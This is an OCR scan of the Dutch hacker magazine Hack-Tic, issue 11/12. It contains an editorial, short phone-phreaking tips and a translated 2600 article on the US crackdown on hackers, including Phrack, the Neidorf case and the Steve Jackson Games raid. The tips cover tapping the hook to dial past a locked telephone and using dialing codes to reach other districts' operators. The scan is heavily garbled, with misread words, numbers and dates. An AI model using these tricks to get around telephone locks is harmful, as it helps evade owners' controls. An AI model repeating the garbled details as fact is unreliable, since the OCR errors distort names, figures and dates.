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binak-Tig ie Nederlands eerste hackerbiac. 
Hetverschijnt zonder enige regelmaat. Het 
eerste nummer verscheen 13 januari 1969. 
LTGAVE: Met veel moeite door de Stich- 

‘ng Hack-Tio, een oover-up voor een groep 
Indhâduen zonder enige kennis van zaken. 

MEL DANK AAN;: The Key, Herman Acker, 
Peter Poelman, Fhinoewind, Taoo, Paul, 
Xokum 3, The Dude, The Great Einstein, 
RGB Productions, Gert en Rop. Verder krij- 
gen we informatie uit de gekste kringen. 
ILLUSTBATIES: Koen Hottentot. 
GV; Archibald Tutte 
KONIAKT: De redaktie ia te bereiken vin 
p-b. 22953, 1100 DL Amsterdam. UUCP: 
topg@ooc.uva.nl. Ons telefoonnummer 
ts 020-s00tas0 (ona superdekuwa amt- 
woordapparaat staat 24 uur per dag tot uw 
beschikddng). 
PRIJS: Losse nummers kosten € guiden, 
éen abonnement. voor 10 nummers {hoe 
Tang hetook duurt om die uitte geven) kost 
f 37.50. Abonnementagelden kun je over- 
maken op gironummer 6085768 tn.v. de 
Stichting Hack-Tic of op bankrekening 
nummer 98.7284541 tnv. Rop Gong- 
grip. Abonnementen beginnen met het 
laatst uitgegeven nummer tenzij je bij de 
betaing een ander beginnummer san- 

geeft Ditis een dubbelnummeren hetkost 
f 7. Bedrijven on instellingen betalen 
f 100, voor een abonnement. 

  

ABONNEMENT VOOR HET LEVEN: Voor 
{975 heb je een levenslang abonnemerrt 
op Hack-Tic dat zelfs na de dood testa- 
mentair op een ander over kan gaan. Het 
abonnement duurt zolang Hack-Tio duurt. 
Nooit meer gezeur met bet verlengen van 
je abonnement! Bulteniandse Levens- 
bonnes krijgen eon gratis woordenboek 
van Nederlands naar de taal van hun keu- 
ze. Ais Je abonnee voor het leven wordt 
krijg Je ale oude nummers (voor zover 
voorradig) thuis gestuurd 

zack-Tic #11-12/1950 

  

2 

PBIVACY: Het ia natuurijk via onze bank- 
efschiten makkelijk na te gaan wie or 
abonnee zijn. Heb je een maatschappe 
like positie die je niet wit verllezen dan kun, 

je ook geld en adres bijstuften In oen onve- 
lop en die aan onze postbus sturen, wij 
weten dan genoeg. De Hack-Tic wordt al- 
tjd verstuurd in een. neutrale envelop. 
HecTic ia ook verkrijgbaar bij de goede 
boekhandel. 
DISCLAIMER: Informatie in Hack-Tic dient 
slechts een educatief doel. Gebruik van 
deze informatie zou strafbaar/staatsge- 

‘vaart stout kunnen zijn. De redaktie wijst 
ledere verantwoordelijkheid voor gebruik 
‘door lezers van dein Hack-Tio opgenomen 
Informatie a. De mening van een auteur 
weerspiegelt niet noodzakelijkerwijs de 

van de redaktie of uitgever. 
NADBUK: toegestaan! Kranten, tidschrif- 
ten, omvoepstiohtingen, poltieks partijen, 
waarnachinereparateurs etc. sto. mogen 

zonder voorafgaande toestemming van de 
redaktie (maar natuurlij met bronvermel- 
ding) stukken overnemen uit de Hack-Tic 
De bovenstaande disclaimer blijft schtar 

van kracht. Nadruk van de getiefe Hack-Tic 
natuurlijk verboden. 

NABESTELLEN: Oude nummers kosten 
74, en kunnen via de redaktiepostbus be- 
steld worden. Sommige nummers zijn 
‘schaars en moeilijk te pakken te krijgen. 
HOE: Hack-Tle werd met Ventura 20 ge- 
maakt op een gammele AT. Print-outs van 
elke pagina werden met zo'n modern | 
sorgeval gezooft en daama ambachtelijk 
gedrukt. Dan nog even ergens laten vou- 
‘wen, nieten on snijden en klaar was Kees. 

Erg moeilijk, maar wel- 
lleht bij: Het Computercollactit, Fort van 
‘Sjakoo en Athenasum Boekhandel, slienin 
‘Amsterdam, De Rooie Ratin Utrecht, Denc- 
kecin Ninegan en Athenaeum in Haarlem. 

     



Dit is Hack-Tic 11/12 
(Ade je het nog niet door had) 

Zoals gewoonlijk komt deze 
Hack-Tic precies vit op het moment 

dat je je afvroeg of we nog wel be- 
stonden. Hier zijn 48 pagina’s onver- 
sneden informatie. Zo hebben we 
onder andere een kopieerservice 

voor magnectkaarten (zie pagina 24) 
en een artikel over "softwarebugs” in 
fruitmachines, Ook hebben we in dit 
mnmmer een decoder voor de ver- 
sleutelde bestanden van WordPer- 
fect en het zoveelste truukje om gra- 
tis te kunnen bellen in telefooncel- 
Ien. Ol ja, we staan 31 november en 
1december op de HCC-dagen in de 
jaarbeurshallen in Utrecht 
K67.5) met onder andere cen Rinke 
voorraad oude nummers en de mag- 
neetkaastcopier. 

We hebben 10 nummers lang veel 
aandacht besteed aan technische 
truukjes en tips die wij zelf leuk van- 
den en waarvan we vonden dal meer 
mensen ze zouden moeten weten, 

Maak je niet ongerust: dat blijven we 
doen, ook als de "wet computereri- 
minaliteit” er door komi. Misschien 

‘zuilen we soramige zaken iets anders 
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formuleren maar hel merendeel van 
de artikelen in Hack-Tic blijft zoals 
het was. 

Wel is het tijdstip aangebroken 
‘om even uit ons hi-lech holletje te 
kruipen en een kijkje te nemen in do 
niet-virtuele wereld. In deze Hack- 
Tic een artikel over de wet compu- 
tereriminaliteit en wat deze wet voor 
hackers betekent. Verder cen groot 
artikel uit de Verenigde Staten over 
hacker-vervolgingen aldaar. Dit arti- 
kel plaatsen we met het beangstigen- 
de voorgevoel dat het hier de 'ge- 
schiedenis van cen mogelijke toe- 
komst in Nederland’ betreft. 

Een hoge agent bij een vande drie 
regionale teams die straks de com- 
putercriminaliteit moeten gaan be- 
strijden werd bij Veronica Nieuws- 
Fijn gevraagd of hct spelen van com- 
puterspelletjes op de zaak nu ook 
‘computercriminaliteit was. Het ant- 
woord: “Non dat is een randgeval”. 

     

  

Hier is Hack-Tle, het blad voor 
randgevallen ! 
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Hack-Tic Light 

telefooniljntfe snuiven 

In Spanje schijnt cen nieuwe rage 
te zijn ontstaan: junks hebben ont- 
dekt dat bij verbranding van de 
hoorn van een spaanse telefooncel 
gassen vrijkomen waar je high van 
wordt, Het verhaal vertelt niet of dit 
alles erg goed voor je is, maar de 
eerste chemische telefoonversla- 
vingen zijn cen feit! 

  

  

Just say No 

De Amerikaanse computerveilig- 
heidsexpert Eugene Spalford zegt 
dat het bedrijfsleven cen bijdrage 
zou kunnen leveren aan veiligere 
computersystemen door geen hack- 
ers meer aante nomen. Spaford, die 
onder meer bekendheid geniet door 
zijn snelle analyse van de Internct- 
Wor, wil er geld op zetten dat de 
schrijver van deze worm - Robert T. 
Morris - een hoog salaris kan ver- 
dienen bij de vole computerve 
heidsbedrijven bij wie hij hoog op 
het verlanglijstje staal. "Het in alsof 
jeeen bekend brandstichter aanstelt 
‘om cen brandalarm te installeren’, 
aldus Spafford, "Alsof de kennis van 
brandstichting je cen betere brand- 
weerman maakt”. 

Spaftord zou ons inziens best iets 
meer cerbied kunnen hebben vaor 
de mensen die zijn broodwinning 
mogelijk maken. 
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06-11 als elk kwartje teit ! 

06-11, het nieuw ingevoerde lan- 
delijke alarmaummer, is nog steeds 
vanuit veel telefooncellen NIET gra- 
tis te bellen. Bel als jc weer eens in 
eentelefaoncel bent 007 (wel gratis!) 
en rapporteer dit als cen storing! 

Chaos Communication 
Congress 

Het jaarlijkse Chaos Communi- 
cation Congress vindt zoals gebrui- 
kelijk plaats in het Eidelstätter Bür- 
gerhaus, Elbgausir. 12, D-2000 
Hamburg 54 en loopt van 27 t/m 29 
december. Het kost DM 30,- voor 

drie dagen en is de perfecte gelegen- 
heid om de trieste namaakvrolijk- 
heid van de kerstdagen te ontvluch- 
ten. Als je op zoek bent naar cen 
goedkope Kift kun je altijd met ons 
hoofdkwartier bellen (zie colofon) 
voor meer informatie. 

Legaal goedkoper beten 

Internationale gesprekken zijn 
duur. Het is echter volstrekt legaal 
(1) mogelijk om een stuk goedkoper 

te bellen. Alsje cen gesprek van Ne- 
derland naer Duitsland via een stuk 
Nederland met grenstarief laat 
lopen ben je soms een stuk voordeli- 
ger uit. En als je een kabel over de 
grens hebt liggen kun je een hele 
stapel telefoongesprekken tegen



  

ramsjprijzen aanbieden. Dat hier 
cen grote markt gt hebben ze in 
Amerika al lang bedacht: 'doorbel- 
nummers? langs de grens steken de 
kop op en dwingen AT&T om de 
Amerikaanse tarieven al in Novem- 

ber fors omlaag te brengen. 
Toen er veel to weinig lijnen wa- 

ren vanuit West- gaar Oost-Berlijn 
werden veel gesprekken via Neder- 
land gevoerd. Dt was wel duurder, 
maar je kon tenminste bellen. Ais jc 
aan de grens woont lijkt het ons dat 
je een zakcentje kunt verdienen. 

   

  

Fictieve netnummers 

Wellicht voor velen al cen oud 
truukje maar toch: elk telefoondis- 
trict heeft ecn netnummer 0XX01 
waarbij XX staat voor het tweede en 
derde cijfer van elk 5-cijferig net 
nummer in dat district, Bel je nu 
OXXOI-1YY dan bel je de OOY van 
dat district (dus 008 in district Ut- 
recht is 03401-188). Bel je OXXO1- 
MY dan bet je de OOLY van district 
XX. Districtnummors zij 

    

11 Goes 44: Maastricht 
161 Breda 47: venlo 
171 den Haag 49: Eindhoven 
18: Rotterdam Sl: Leeuwarden 
21s Hilversum 52: Swoll 
224 Alkmaar 541 Hengelo 
251 Haarlem 56: Leeuwarden 
29: Ansterdan 57: Daventer 
32: Lelystad 591 Groningen 
34s Utrecht Arnhen 
81: Den Bosch Bijmegen 
42: Tilberg 

* Leeuwarden heeft twee “SA-cij- 
fers” (Zo heten ze in PTT-jargon) 

      

omdat er teveel gehuchten met 5-cij- 

ferige netnummers waren. 
Dit truukje kan handig zijn als de 

008 in je cigen district veel te lange 
wachtrijen heeft of als je de 004 van 
een ander district wilt spreken. 

  

Telefoons met een slotje 

Mocht je hospita zo'n telefoon 
met een slot op de kiesschijf of cen 
door de PTT geleverde telefoon met 
ingebouwd slotje hebben geinstal- 
leerd dan kun je door middel van 
korte tikjes op de haak toch nog bel- 
len: 1 tikje is het cijfer 1, en 10 tkjes 
maken het cijfer 0, Een korte pauze 
tussen elk cijfer en cen lange tijd 
oefenen op de wat hogere cijfers 
doen wonderen. Mocht je op cen 
tooncentraie zitten dan kun je na- 
taurlijk ook bij de lokale taiwances 
een DTMF.kiezertje kopen. 

Rectificatie 

Beter laat dan nooit: 
nummer 1 gaven we eon beschrijving 
van het signallecingaysteem CCITT- 
4 zoals gebruikt in de intecnationale 
telefonie. Ecn abonnee maakte ons 
er laatst op aftent dat daar een foutje 
in geslopen is: Tussen de 4 toontjes 
waaruit elk cijfer bestaat hoort een 
pauze van 40 ms en dat stond niet in 
het artikel. 

We komen in de volgende Hack- 
Tic met meer signaleringssystemen. 
en wat je zoal met cen tooagenerator 
en een telefoonnet kunt uitspoken. 
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Hacking In de VS 

In de VS worden hackers aktief 
vervolgd. Sterker nog: iedereen die 
waarschijnlijk wel eens iets met ha- 
cken te maken zou kunnen hebben 
kan rekenen op de warme belang- 
stelling van ecn groot aantal over- 
heidsinstellingen. Een groot aantal 
anti-hacking wetten moet het Ame- 
rikaanse publiek beschermen tegen 
de bedreiging die hackers vormen 
voor hun dagelijks leven. 

Het lentcaummer van 2600 Ma- 
gezine zelte de zaken op een rijtje en 
beschreef hoe de 'Secrct Service’ 
(con orgaan dat de president en het 
geldverkeer moet beschermen) om- 
gaat met burgerlijke vrijheden gedu- 
rende haar pogingen om een hacker 
en _telefoonphreak-tijdschrift de 
mond te snoeren. Omdat de kans 
niet denkbeeldig is dat we hier in 
Nederland binnenkort ook wetten 
tegen het hacken krijgen en eigenlijk 
niemand zich kan voorstellen hoe die 
welten gehandhaafd moeten gaan 
worden besloot ik een kijkje te gaan 
nemen in het land waar deze vervol- 
ging het meest voortvarend wordt 
aangepakt. Al snel waren de koffers 
gepakt ca zat ik in het vliegtuig op 
weg naar het land van de onbegrens- 
de mogelijkheden. 

Goed, na het aflopen van bijeen- 
komsten voor hackers in New York 
en door heel California is eiger 
maar een conclusie mogelijk: or zijn 
daar nog maar weinig hackers over 
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die er tegen vreemden voor durven 
uitkomen dat ze hacken. Openbare 
on-line systemen moeten dicht om- 
dat de sysops het niet meer kunnen 
‘opbrengen om alle post op hun sys- 
teem te controleren op "illogale’ 
technieken en ideeën. Amerikanen 
die een leeftijd hebben bereikt waar- 
op ze juridisch volledig aansprake- 
lijk zijn en dus jaren de gevangenis in 
kunnen verdwijnen houden zich dan 
ook zelden of niet meer met datarci- 
zen bezig, Ondertussen roepen pu- 
blieke aanklagers ouders op om het 
modem uit de kinderkamer te ver- 
wijderen. 

Op de nu volgende pagina's het 
oorspronkelijke en cigenlijk nog 
steeds beste verhaal over de sitiuatie 
ter plaatse, geschreven door Em- 
manuel Goldstein. Dit verhaal komt 
vit 2600 Magazine, maar is ook op 
diverse Amerikaanse _ bulletin 
boards en op het USENET vele ma- 

len terug te vinden. We plaatsen het 
hele artikel omdat het (in al haar 
al-dan-nict digitale verschijningen) 
volgens ons aan de basis gt van cen 
aieuwe stroming in kringen van 
hackers. Het verhaal is voor Hacl 
Tic iets aan de lange kant, en om het 
onverkort te kunnen plaatsen heb- 
ben we het maar in een wat kleiner 
Iettertje gezet, 

   



For your protection 

boor Emmanuel Goldstein 

Al Jaren vertelt 2600 verhaten over hack- 
em dle met handhavers van de wet te maken 
krijgen. Het is verontrustend om te zien dat 
‘onruststokers en ontdekkers in het gevang 
belanden omdat ze met het verkeerde speel- 
goed speelden en te veel vragen stelden, 
‘Toenderlijd zeiden we dat hei belangrijk was 
‘om tegen zulke onrechtvaardigheden 1e pro- 
testoren. Ze konden ons tenslotte niet alle- 
paal opsluiten. 

Het lijkt or echter op dat dio operatie no 
wel degelijk op de agenda van enkole zeer 
machtige oeerheldsinstelingen staat, En nog 
benngsiigender is dat het deze stellingen 
nlet bijzonder kan schelen wie of wat er met 
die hackers meegeveegd wordt, zo lang alle 
hackers maar opgeveegd worden, Klaarblij- 
kelijk zijn wij een grotere bedreiging dan we 
voorheen hadden aangenomen. 

“Terugkijkend komt dit alles miet echt als, 
een verassing. Eigenlijk begiat het nu alle- 
male degen. Se hoef niet langer paranoide 

of politiek gemoliveerd te zijn om de paralel 
ten te zien in wat er gebeurd is. Censuur, 
palieoptreden, ‘vrijwillige’ wrineicets, leu- 

gendeteetors, handschriftanalyse, bewakings- 
camera's, overdreven erises die allemaal lei 
den tot minder vrijheid. En dan te bedenken. 
dat je onschuldig bent en niks te verbergen 
hebt. En alles veel effectiever doordat het 
Immers gaat om onbegrijpelijke hi-tech. Wie 
‘anders dan de messen dic begrijpen hoc de 

techniek werkt zou: izenals het groot- 
ste struikelblok? Het lijkt er op dat de graot- 
zie bedreiging voor het systeem bestaat uk 
measen die het kunnen manipulesen. 

Het nu volgende verhaal is beangstigend, 
zonneklaar en aime Je hoet geen hacker se 
zijn om het te begrijpen. De waorden en 
ideeën zijn eenvoudig overdraagbaar naar 
ike tijd en elks eutiour. 

    

  

  

     

  

Invallen 
“We kunaca nu cen razzia verwachlen … 

Ik koop alleen maar dat ik er doorheen zal 
komen en mijn vrienden ook. Het is jd om 
nan jezelf te dende. Het anakt iet vitwaar 

je mee bezig beat … Het ziet er naar uit dat de 
‘overheid denkt dat het einde in zicht is … Ik 

‘denk dat ze achter de leraren” aapzitien … en 
dat is dus waar ze han energie aan besteden: 
ae hackers stoppen en zelis voorkomen dat 
wensen een bedreiging worden." 

Dit was cen van de reacties op cen com- 
puterbuiletia board op eea serie van invallen 
blj backers. De Invallen begonnen in 1989 en 
Intenswweerden begin 1990. Atlanta, St. Louis 
en New York waren hoofddoelen in wat toen 

nog een onbekend onderzoek was. 
Dit zou op zich niet zo afarmerend zijn - 

Invallen bij heekers zijn gewoon geworden - 
wars het niet dat er voor de eers keer cen 
hacker-lijdschrift mee 'geëliminconf' is. 
Phrack waseenelectronische nieuwsbrief 

verspreid vanui St, Louis en wereidwijd ge- 
distribucerd, Phrack schreef over hacker- en 
phreakzaken en was te vinden op bijna alle 
hacker bulletin boards. Hoewel soms gevoc- 
lige zaken gepubliceerd werden, keken de re- 
decteuren er wel voor wit iets llegaais te pu- 
blieeren (zoals credit card nummers, pass- 
words, sprint codes, etc). We beschreven 
“Phenek World News” (cen vaste rubriek in 

Phrack)In onze zoreer-89 editie als "een must 
voor veel hackers”, Phrack leek op veel ma- 
nieren op 2500, met als uitzondering dat 
Phrack via de electronische post werd ver- 
stuurd Inplaats van met U.S. Mail Di onder 
scheid werd Phrack’s ondergang. 

Het blijkt nu dat ale inkomende en vit- 
gaande electronische bezlehten vaor en van 
Parack werden gevolgd door de autorikelten. 
Blk bericht in en elk bericht uit! Het betrof 

kier geen gehackte mallboxen die door cen 
paar hackers gebruikt werden. Het betrof 
postnaar legale accoands die verkregen waren 
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via de school waar de twee tedekteuren op 
zen. Privacy op zulke mailbowen, hoewel 
miet gegarandeerd, kon als vanzelfsprekend 
worden aangenomen. Nu niet meet. 

Het ie tamelijk doidelijk dat niets van dit 
alles was gebeurd, niets van Ok alles had kan- 
nen gebeuren als Phrack een niet-clectro- 
alsch tijdschrift was geweest. Hen gedrukt 
ljdscheift zou niet zo makkelijk eintiid 
ten zijn ons z'n malling-lst af te geven zoals 
dit bij Phrack het geval was. Als cen gedrukt 
tijdschr op deze manler was gevloerd nadat 
alie post geopend en gelezen was dan zouden 
zelfs de minder begaafde sensntiezochtige 
media-figuren het gesnapt hebben: hee, fs dit 
iet in strijd met het First Arsendment? 

Berlchten van journalisten die begrepen 
wat er aan de hand was an die do impfiatles 
‘overzagen verdronken snel In de media-hys- 
terie die volgde. Mensen werden in tast van 
beschuldiging gesteld. Uhgeverfredakteur 
Craig Neldorf, in de hacker-wereid bekend 
als Kright Lightning, werd In eon zeven pan- 
tentellende aanklacht beschuldigd van mede- 
pfichtigheid aan een complot am informatie 
te stelen over het geavanceerde 911 systeem 
(Amerikaanse alarmnummer, HT) zoals dat 
door Bell South wordt geëxploiteerd. At snel 
schreeuwden de krantekoppen dat hackers 
ingebroken hadden in het 911-systeemen rot- 
zooiden met alarmgesprekken. Fen krantear- 
tikel zei dat er geen aanwijziegen warn dat 

iemand was gestorven of gewond was geraakt 
als gevolg van het binnendringen, Wat cen 
‘opischting, Jammer det het niot waar was. 

Ia werkelijkkeld zijn er enkele ernstige 
wonden ontstaan ais gevolg van het binnen- 
dringen: het binnendringen door overheid en 
media dam wol te verstaan. Wonden bij de 
verdachten die grote maocilijkkeden zullen 
krijgen om met hun teven door te gaan zelfs 
als dl ntorgen allemaal vergeten Is. 

Als het niet vergeten wordt kan Craig 
Neidorf meer dan 30 jasr de gevangenis in- 
gran en een boete krijgen van $122,000. En 
waarvoor? laten we eens naar de sankhacht 
kijker 

"Elot was … deel van het plan det verdach- 
te Neidorf, gebruik makend van een compu- 
teropde University of Missouri la Colombia, 
Missouri zou en heeft ontvangen cen kopie 
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[van de gestoten BIL tekstfile van verdachte 
(Robert J.) Riggs (vit Atlanta en in de Hack- 
‘wereld bekend als Prophet) vla een computer 
‘boietin board system in Lockpoct (lilnioe) 
en vin het gebruik van cen interlokaal data- 
metwerk” 

Verder was deel van het plan dat ver- 
dachte Neidoef het B911 artikel zou bewer 
ken en herschrijven en ook heeft bewerkt en 
herschreven op verzoek van verdachte Riggs. 
zodet de bron van de ES11-Cureus tentilie 
onbekend zou blijven en zodat het klaar was 
voor publiatie In een hacker-tijdschrift” 
“Verder was het deel van het plan det de 

verdachte Nekdorf de gestoten [911-Curmus, 
Tie via het door verdachte Riggs gebreikte 
interlokale bulletin bonrd systeem in Lock- 
poet (lliaofe) verder zou sturen. 

“Verder was het deel van het plan dat de 
verdachten Riggs en Neidorf informa zou- 
den pabiceren voor andere computer ha- 
ckers die gebeuikt zou kunnen worden om 
‘ongeoorloofd toegaag te krijgen tot Alana- 
911 in de VS om zodoende de 9L1-dionst In 
bepralde delen van de VS te storen of te 
blokkeren” 

Eigenlijk woedt Neidorf dus beschuldigd 
van het entvangen van cen gestolen doen- 
ment, Br taat in de aanklacht helemaal alets 
‘wat zelfs maar zeggercert dat hij legaal cen 
compater binnen is geweest. Zijn misdaden 
zijn ontvangen, bewerken en verder sturen. 

Wat stast er nu workelijk in dio file? In- 
formatie om ongeautoriseerd toegang tc kri- 

gen tot, of zelf schade too te brengen aan de 
911-service? Nes. Hel document (door de 
media abusievelijk 911-software genoemd, 
hetgeen veel misvatingen heeft veroorzaakt) 
wordt aangehaald ie Phrack Volume 2, Nam- 
mer 24 en ie cen goede kandidaat voor het 
saaiste artikel ooit verschenen in Phrack. Vl 
gens de aanklacht is dl document 579449 
waard, 

Kort nadat de aanklachten waren Inge- 
diend kwam een lid van het ‘Legion Of Door’ 
(eengroep hackers waarvande verdachten id 
zouden zijn, HT) bekend als Erik Bloodsue 
met een publieke verklaring, “Fen groep van 
drie hackers haalde op cen gegeven moment 
Ges uit eon syteem van Southem Bell om ct 

as te kijken. Dit is de normale standaard 

   



procedure je komt op een sysieem, kijkt rond 
of er lets Interessaats op rlaas, zet het op je 
eigen diek en wellicht print je het wit voorde 
geschiedschrijving, Geen enkel lid van LOD 
heeft ooit (naar mijn weten) in cen systeem 
ingebroken om zichzelf met de verkregen in 
formatie te bevoordelen … met wellicht als 
enige witzonderingeen vergroting van de per- 
soonlijke reputatie in de underground. Bon 

hacker heeft die documenaatie genomen en er 
eon tekst over geschreven. Be zijn clgenlijk 
tweefijes, de one seen overzichten de andere 
la cen Index. De Informalle is ongeschikt om 
Iets anders aan te ontlenen dan kennis over 
hoe een fragment van het tefefoonnet werkt.” 

Verder zei hij dat Neidocf geen manler 
hadomtecoeroleren of het hierom bedrijfs 
geheime ìnforseatie ging. 

De opesbars aanklagers eefgeren te zeg- 
gen wat de hackers aan deze Informatie had 
den kunnen hebben, zij hebben geen motiof 
en geven geen opgave van de geleden schade. 
Verder ls het cen publiek geheies dat veel van, 
de informatie uit de files als naslagwerk pu- 
bliekelijk beschikbaar is, 

In elle aanklachten wordt het Legion Of 
Doors casschreven als cen “sterk saanen- 

hangende greep computer hackers die zich 
bezighouden met 
® het verstoren van telecomsemuricatic door 

het binnendringen in electronische scha- 
kelsystemen en het veranderen van de 
routeriagen van de verbindingen in deze 
electronische centrales; 

®© hetstelen van copyrighted source code en 
Informatie vaa bedrijven en individuen 
die deze In bezit hebben; 

® het stelen en veranderen van Informatie 
bij computers van kredietinstelllagen. 

© et frauduleus verkrijgen van geld on goe- 
deren van bedrijven dooc ket verandecen 
van computesinformatie die door die be- 
drijven wordt gebrukt; 

®@ het geven van informatie over hun metho 
des om computers nan te vallen san ande 
re hackers om zo de aandacht van wels- 
kandhavers en telecommunicatie-vcllig- 
Keldsambienaren af ie leiden. 

    

Het is wrange ironie dat het LOD, óat 
geen “sterk samenhangende groop” is, zich 
niet tegen deze aanklachten kan verdedigen 
daar elke aangeklaagde het met zijn eigen 
verdediging veel te druk heeft. (Neidorf was 
trouwens geen id vanhet LOD en Phrack was 
geen peblientie van het LOD, dit Integenstel- 
ling tot wat volo persberichten beweren.) 

  

Het wild wordt opgedreven 
De system operator van The Phoenix 

Prejeel, na gehoord te hebben wat er met de 
electronische post van Phrack was gebeurd, 
besloot aktie te ondernemen om de privacy 
van zijn gebruikers te beschermen. "ik voeg. 
binnen twee weken een coderingsroutinc aan 
het postgedeelle toc. Ik wect nog niet precies 
hoe ik het ga aanpakken, maar mensen kun 
nen straks gecodeerde post uitwisselen met 
een wachtwoord wat aleen zij kennen. Hoe 
dan ook, ik denk niet dat ìk een inval krijg. 

Ik run alleen maar een BRS, Toch bestaat de 
kans. Ik ga ervan uit dat mijn lijnen afgetapt 
worden tenzij het tegendeel bewezen ls. Je 
kent je afvragen of het wijs is om het systeem 
sowieso te laten draalen, maar ìk heb per- 
soonlijk enige onderzoeksinstenties gebeld 
en hen witgenodigd hler aan de discussie deel 

te nemen. Als ik het gevoel keb dat het run- 
gien van dt systeem mil ìn gevaar brengt dan 
hou Ik er zonder verder bericht mee op - Ik 
hoop dat iedereen dit begrijpt, Het ziel er 
naar uit dat het jachtseizoen ls geopend. La- 
ten we hopen dat wo er allemaal nog zijn over 
6 maanden om er over le prmien. 

De nieuwe privacybescherming werd 
nooit ingebouwd; De apparatuur van 'fhe 
Phoenix Project werd enkele dagen later in 
beslag genomen. 

De Jacht werd nog steeds intensiever. Op 
A maart werd door de Secret Service cen inval 
gedaan bij het kantoor van Steve Jackson 
Games, cen uitgeverij in Austin. Volgens het 
AP nieuwsbericht werd ook het huis van de 
‘hoofdredakteur doorzocht, Politie en Secret 
Service namen boeken, gebruiksaanwijzin- 
gen, computers, technische apparatwarenan- 
dere documentatie mce, Ook de laatste versie 
van cen door de firma geschreven science 
fiction spel werd meegenomen. Volgens de 
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lokale krant ‘Austin American Statesman’ 
wilden de autoriteiten weten of het spel ge 

‘bruikt werd ais een handback voor compter 
erimioalitek, 

Bellers naar het “Tilomiae’ BDS (van 
Steve Jackson Games) kregen de volgende 
tekst op hun scherm: 
“Voorwe op 1 maart aan het werk konden 

werd Steve Jakaan Clames bezocht doorngen 
ten van de United States Secret Service. Zij 
hebben het gebouw grondig doorzocht, een 
manta dozen in de opslagruimte opengeirok- 
ken, cen paar sloten gebroken, een paar ar- 
chicfkaston beschadigd (waar ze best in bad- 
‘den mogen kijken als wij mear anar blanca 
hadden gemogen om ze open to maken), de 
teiefoon op zijn zachtst gezegd onbeleefd op- 
genomen en enige computers in bedag geno- 
men, ender andere die waarop dit systeem 
imdertijd ep. 

“Tota toeis ons nog nlet duldelijk ultge- 
legd waar men naarzocht, wat menhoopie le 
vinden of wat dan ook, We zijn er redelijk 
zeker van dat Steve Jackson Games alat het 
‘onderwerp van ket onderzoek is; hoe dan 
‘ook: we hebben niets egaate gedann cn we 
hebhennieiste verbergen. De apperatuur die 
In bestag is genomen beschouwt men echter 
kennelijkalsbewijsinde zaak diemen aan het 
onderzoeken is, en dus kan hot nog wel even 
duren vaar we die terug hebben. Zou over 

een raand kunnen zijn, of nooit 
“Omde kaas dat ook dit systeem bestag 

genomen wordt te verkleinen wordt alleen dit 
Bericht uitgezonden en verder niets, Op het 
moment iser geen berichteaverkeer moge 
lijk, We verontschuldigen ons voor het onge- 
mak, durfden we maar moer” 

Ben van de system operators van The 
‘Phoenie Project was ook bij Steve Jaekton 

‘Games betrokken, en dat was voor de autori- 
teiten genoeg, 

Ia het hele laad gingen de invallen door 
‘en volgoas de berichten gingen vele BBSen 
vande lijn In Atantaschrevende kranten dat 
drie plaatselijke LOD leden aankeken tegen 
40 jaar gevangenisstraf en cen boete van 2 
sjoen dollar. 

Ben verkacing van cen van de leden van 
het Legion Of Doom (The Mentor, ooksysop 
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van The Phoenix Projet) probeerde desltua- 
te wt te leggen: 

“LOD is opgericht om de beste denkers 
eit de comprier-anderground samen te 
brengen-ennletamschade toe lebrengen of 

‘om persoonijk gewin na te streven. Het doel 
‘was het delen van informatie en het bespre- 
ken van de techniek. De groep hech mijd de 
hooge efhleche moeren nagestreefd... In 
cen hoop gevallen hebben we ingegrepen om 
mitbruik van tysteman te voorkomen. Ik 
ken de mensen die bij de 911 zeak betrokken 

zij al jaren en het was absofkar niet de be- 
doeting om op wat voor manier dan ook de 
werking van het 911 gyteenn ie verstoren. 
Boewelwe zons endancencomputerbianen 

zijn gegaan waar we nietthuls hoorden Is het 
een reden voor oitsoling it de groep om iets 
stuk te zuaken of fraude te plegen voor pec- 
soonlijk gewin. 

“De grootste misdaad die we begaan eb 
ben is nieuwsgierigheid... We zijn ervoor 
verantwoordelijk dia het verleden vele vel 
Tigheidslekken zijn gedicht, en dat hopen we 

tebijven doen. Een grote groep van (anonie- 
me) computerveligheldsexperts ziel oas als 
bondgenoten. Als zij het verkiezen om zich 
bekend te maken zouden we de ondersten- 

ning op prij tellen” 

      

De ware aard. 
Op hetzelfde moment ontvouwde zich in 

Lockport, inols een vreemde geschiedenis. 
Het publieke UNIX systeem met de naaan 
Jolnet dat gebruikt was om de 911 fles dooe 
te zenden werd In beslag genomen. Vooral 

vreemd is dek de sysop, Rich Andrews, al 
meer dan een jaar met de federale overheld 
samenwerkte, Andrew vond de lies toe 
joar geleden op zijn systeem en stuurde ze 
naar AT&T, en daarna nemende autortteiten 
kontakt met hem op. Hij werkte volledig mee. 
Wacom werd zijn aysteern dan in beslag ge- 
nomen? Andrewa beweerde dat het allemaal 
deet was van het onderzoek maar voegde er 
antoc: "Een maader om hackers te pakkenis 
oor de BBSen die ze gebruiken te pakken 

De Jolnct-mal zond een schokgo van 
worde door de BĲS-merold, specianl onder 

  

 



de spzops en gebruikers van publieke UNIX- 
systemen. 
Cit Figallo, cen van de myeops van de The 

Welt, sen publiek UNIX gystecm in Ceilfor- 
nia, prak zijn bezorgdheid uit: “Het idee dat 
de-overkeld een systeem in beslag kan nemen 
alc bewijsmateriaal terwijl vaststaat dat de 
eigenaar met het veronderstelde strafbare 

felt niets te maken heeft (en zonder enlg res- 
peet voor het fel dat dat systeem de brood- 
winning van de eigenaar kan zijn) veroatrust 
me, en het zou voor iedereen die ij cen BBS 
betrokken is een zorg moeten zijn. 

  

  

De vrijheid wordt ingeperkt 
Ondanks alle uitingen van bezorgdheid 

‘om wat er gebeurd was zagen veel beheerders 
van systemen en BBSen zich genoodzaakt om 
de comtrote op hun systeem le verscherpen en 
vrije meningsuiting een beetje moelijker te 
maken, dd ailes voor hun eigen veiligheid. 

Bi Koykesda, systeembeheerder van 
‘The Potai, cen publiek UNIX systeem in Chi- 
capo, zei het in een aankondiging voor zijn 
gebruikers als volgt: 

"Er is vandaag de dag geen enkele wet of 
Jurisprudentie die mij dezelfde rechten geeft 
alsandere comrwanientiediensten in het geval 
cen derde (de gebruiker, U dus) mijn cigen- 
dom (The Polnt) gebruikt voor illegale akti- 
vitelten. Dat baart mij zorgen. 

“Ik ben van plan de westelijke vraagstuk 
ken die bier op tafel liggen tot het uiterste le 
onderzoeken. (k ben van meningdat de rech- 
ten op vrije vergadering en vrije meniagsui- 
ting in het gedrang komen als eigenaren van 
poblieke ontmoetingsplaatsen verantwoor 
